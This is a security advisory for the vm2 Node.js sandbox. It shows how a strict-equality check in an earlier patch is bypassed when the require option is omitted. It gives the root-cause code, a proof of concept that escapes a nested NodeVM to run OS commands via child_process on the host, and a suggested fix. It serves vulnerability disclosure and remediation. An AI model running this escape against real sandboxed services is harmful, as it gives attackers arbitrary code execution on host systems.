CVE-2026-47137: vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

javascript // nodevm.js:263 — the security check if (options.nesting === true && options.require === false) { throw new VMError('...'); } // nodevm.js:280 — the default assignment (AFTER the check) const { require: requireOpts = false } = options; // When options.require is undefined: // - Line 263: undefined === false → FALSE → check skipped // - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

1. require('vm2') to get the vm2 library 2. Construct an inner NodeVM with require: { builtin: ['childprocess'] } 3. Execute arbitrary OS commands via childprocess.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

javascript const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check) const nvm = new NodeVM({ nesting: true });

const result = nvm.run( const { NodeVM } = require('vm2'); const inner = new NodeVM({ require: { builtin: ['childprocess'] } }); module.exports = inner.run( "module.exports = require('childprocess').execSync('id').toString()", 'exploit.js' ); , 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

javascript // Change the check to catch both false and undefined/omitted: if (options.nesting === true && !options.require) { throw new VMError('...'); }

Or move the check after the destructuring default assignment:

javascript const { require: requireOpts = false } = options; if (options.nesting === true && !requireOpts) { throw new VMError('...'); }